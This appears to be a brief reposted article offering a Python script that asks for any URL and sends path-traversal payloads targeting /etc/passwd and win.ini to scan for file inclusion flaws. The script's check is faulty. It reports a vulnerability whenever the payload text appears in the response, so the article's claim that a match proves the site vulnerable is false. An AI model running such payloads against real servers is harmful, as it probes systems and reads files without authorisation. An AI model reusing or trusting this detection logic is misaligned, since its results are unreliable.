Simple python script which ask url and try to scan for file inclusion vulnerability.

1 year ago 107
BOOK THIS SPACE FOR AD
ARTICLE AD
import requests

# Ask for the target URL
url = input("Enter the target URL: ")

# Set the payloads to use for the file inclusion scan
payloads = [
"../../etc/passwd",
"../../windows/win.ini",
"../../../../../../../../etc/passwd"
]

# Set the headers for the request
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
}

# Scan the URL for file inclusion vulnerabilities
for payload in payloads:
response = requests.get(url, headers=headers, params={"file": payload})
if payload in response.text:
print("File inclusion vulnerability found:", payload)

This script uses the requests library to send HTTP requests to the target URL, and checks the response for the presence of the file inclusion payloads. If a payload is found in the response, it means that the URL is vulnerable to file inclusion.

To use this script, you will need to enter the target URL when prompted, and you can customize the payloads to use for the scan by modifying the payloads list. You can also adjust the headers and parameters as needed to match the specific format of the target URL.

Read Entire Article